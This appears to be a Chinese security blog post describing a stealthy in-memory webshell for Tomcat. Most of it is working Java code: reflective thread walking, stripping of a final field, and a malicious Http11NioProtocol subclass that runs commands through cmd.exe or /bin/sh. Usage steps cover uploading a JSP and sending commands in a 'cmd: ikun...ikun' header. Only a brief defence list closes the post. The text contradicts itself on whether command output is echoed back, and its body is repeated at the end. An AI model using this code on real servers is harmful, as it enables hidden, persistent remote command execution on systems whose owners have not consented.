探索新内存马 Http11NioProtocol 内存马
字数 917 2025-08-20 18:17:48

Http11NioProtocol 内存马技术分析与实现

前言

本文详细分析了一种新型Tomcat内存马技术,通过修改Http11NioProtocol对象实现命令执行。这种内存马具有以下特点:

  • 稳定注入调用
  • 无痕,不影响正常业务
  • 可以实现命令执行回显

技术原理

调用链分析

访问Servlet的标准调用链如下:

init:12, HelloServlet (com.example.tomcat_demo)
init:158, GenericServlet (javax.servlet)
initServlet:1144, StandardWrapper (org.apache.catalina.core)
loadServlet:1091, StandardWrapper (org.apache.catalina.core)
allocate:773, StandardWrapper (org.apache.catalina.core)
invoke:133, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:496, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:140, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:650, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:803, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:790, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1459, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

关键注入点

AbstractProtocol$ConnectionHandler.process()方法中,存在以下关键代码:

processor.setSslSupport(wrapper.getSslSupport(getProtocol().getClientCertProvider()));

通过控制getProtocol()返回的对象,重写getClientCertProvider()方法可以实现命令执行。

实现步骤

1. 获取AbstractProtocol$ConnectionHandler对象

通过线程遍历获取包含"Acceptor"和"http-nio"特征的线程,进而获取Handler对象:

public Object getTheHandler() {
    Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
    for (Thread thread : threads) {
        try {
            if (thread.getName().contains("Acceptor") && thread.getName().contains("http-nio")) {
                Object handler = getField(getField(getField(thread, "target"),"this$0"),"handler");
                return handler;
            }
        } catch (Exception e) {
            continue;
        }
    }
    return new Object();
}

2. 修改final字段

虽然proto字段是private final,但可以通过反射修改:

public static void makeSettable(Field f) {
    try {
        Field modifiersField = Field.class.getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
        f.setAccessible(true);
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
}

3. 替换proto对象

将原来的proto字段替换为恶意的EvilHttp11NioProtocol对象:

Object obj = getTheHandler();
Field field = obj.getClass().getDeclaredField("proto");
makeSettable(field);
field.set(obj, new EvilHttp11NioProtocol());

4. 恶意Http11NioProtocol实现

创建继承自Http11NioProtocol的恶意类,重写getClientCertProvider()方法:

public class EvilHttp11NioProtocol extends Http11NioProtocol {
    public EvilHttp11NioProtocol() {
        super();
    }
    
    @Override
    public String getClientCertProvider() {
        try {
            String cmd = getCmd(getRequest());
            System.out.println(cmd);
            if (!cmd.equals("")){
                String[] cmds = System.getProperty("os.name").toLowerCase().contains("windows") 
                    ? new String[]{"cmd.exe", "/c", cmd} 
                    : new String[]{"/bin/sh", "-c", cmd};
                byte[] result = new java.util.Scanner(
                    new ProcessBuilder(cmds).start().getInputStream())
                    .useDelimiter("\\A").next().getBytes();
            }
        } catch (Exception e) {}
        return super.getClientCertProvider();
    }
    
    // 获取请求参数
    public String getRequest() {
        Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread thread : threads) {
            try {
                if (thread.getName().contains("Acceptor") && thread.getName().contains("http-nio")) {
                    Object[] nioEndpointPollerArrays = (Object[]) getField(
                        getField(getField(thread,"target"),"this$0"),"pollers");
                    for (Object nioEndpointPollerArray : nioEndpointPollerArrays){
                        Object[] channelArrays = (Object[]) getField(
                            getField(nioEndpointPollerArray,"selector"),"channelArray");
                        for (Object obj : channelArrays){
                            if (obj != null){
                                byte[] bytes = (byte[]) getField(
                                    getField(
                                        getField(
                                            getField(
                                                getField(obj,"attachment"),
                                                "socket"),
                                            "appReadBufHandler"),
                                        "byteBuffer"),
                                    "hb");
                                return new String(bytes);
                            }
                        }
                    }
                }
            } catch (Exception e) {
                continue;
            }
        }
        return "";
    }
    
    // 解析命令
    public String getCmd(String str){
        return str.substring(str.indexOf("ikun")+4, str.lastIndexOf("ikun"));
    }
}

5. 反射工具方法

public Object getField(Object obj, String field) {
    Class clazz = obj.getClass();
    while (clazz != Object.class) {
        try {
            Field declaredField = clazz.getDeclaredField(field);
            declaredField.setAccessible(true);
            return declaredField.get(obj);
        } catch (Exception e) {
            clazz = clazz.getSuperclass();
        }
    }
    return null;
}

使用说明

注入方式

  1. 将恶意JSP文件上传到服务器
  2. 访问该JSP文件完成注入
  3. 后续请求中在HTTP头添加cmd: ikun[command]ikun格式的命令

示例HTTP请求:

GET /path/to/memshell.jsp HTTP/1.1
Host: target.com
cmd: ikunnotepadikun
...

特点

优点:

  • 植入后隐蔽性良好
  • 不影响正常业务
  • 稳定执行命令

缺点:

  • 获取的是上一次请求的参数
  • 目前无法实现回显
  • 未在其他Tomcat版本充分测试

防御措施

  1. 禁用JSP上传功能
  2. 监控Tomcat关键类的修改
  3. 使用安全产品检测内存马
  4. 定期重启服务清除潜在内存马
  5. 更新到最新版Tomcat

总结

这种Http11NioProtocol内存马技术通过修改Tomcat核心协议处理对象实现命令执行,具有较高的隐蔽性。安全团队应关注此类新型内存马技术,并采取相应的防御措施。

Http11NioProtocol 内存马技术分析与实现 前言 本文详细分析了一种新型Tomcat内存马技术,通过修改Http11NioProtocol对象实现命令执行。这种内存马具有以下特点: 稳定注入调用 无痕,不影响正常业务 可以实现命令执行回显 技术原理 调用链分析 访问Servlet的标准调用链如下: 关键注入点 在 AbstractProtocol$ConnectionHandler.process() 方法中,存在以下关键代码: 通过控制 getProtocol() 返回的对象,重写 getClientCertProvider() 方法可以实现命令执行。 实现步骤 1. 获取AbstractProtocol$ConnectionHandler对象 通过线程遍历获取包含"Acceptor"和"http-nio"特征的线程,进而获取Handler对象: 2. 修改final字段 虽然 proto 字段是 private final ,但可以通过反射修改: 3. 替换proto对象 将原来的 proto 字段替换为恶意的 EvilHttp11NioProtocol 对象: 4. 恶意Http11NioProtocol实现 创建继承自 Http11NioProtocol 的恶意类,重写 getClientCertProvider() 方法: 5. 反射工具方法 使用说明 注入方式 将恶意JSP文件上传到服务器 访问该JSP文件完成注入 后续请求中在HTTP头添加 cmd: ikun[command]ikun 格式的命令 示例HTTP请求: 特点 优点: 植入后隐蔽性良好 不影响正常业务 稳定执行命令 缺点: 获取的是上一次请求的参数 目前无法实现回显 未在其他Tomcat版本充分测试 防御措施 禁用JSP上传功能 监控Tomcat关键类的修改 使用安全产品检测内存马 定期重启服务清除潜在内存马 更新到最新版Tomcat 总结 这种Http11NioProtocol内存马技术通过修改Tomcat核心协议处理对象实现命令执行,具有较高的隐蔽性。安全团队应关注此类新型内存马技术,并采取相应的防御措施。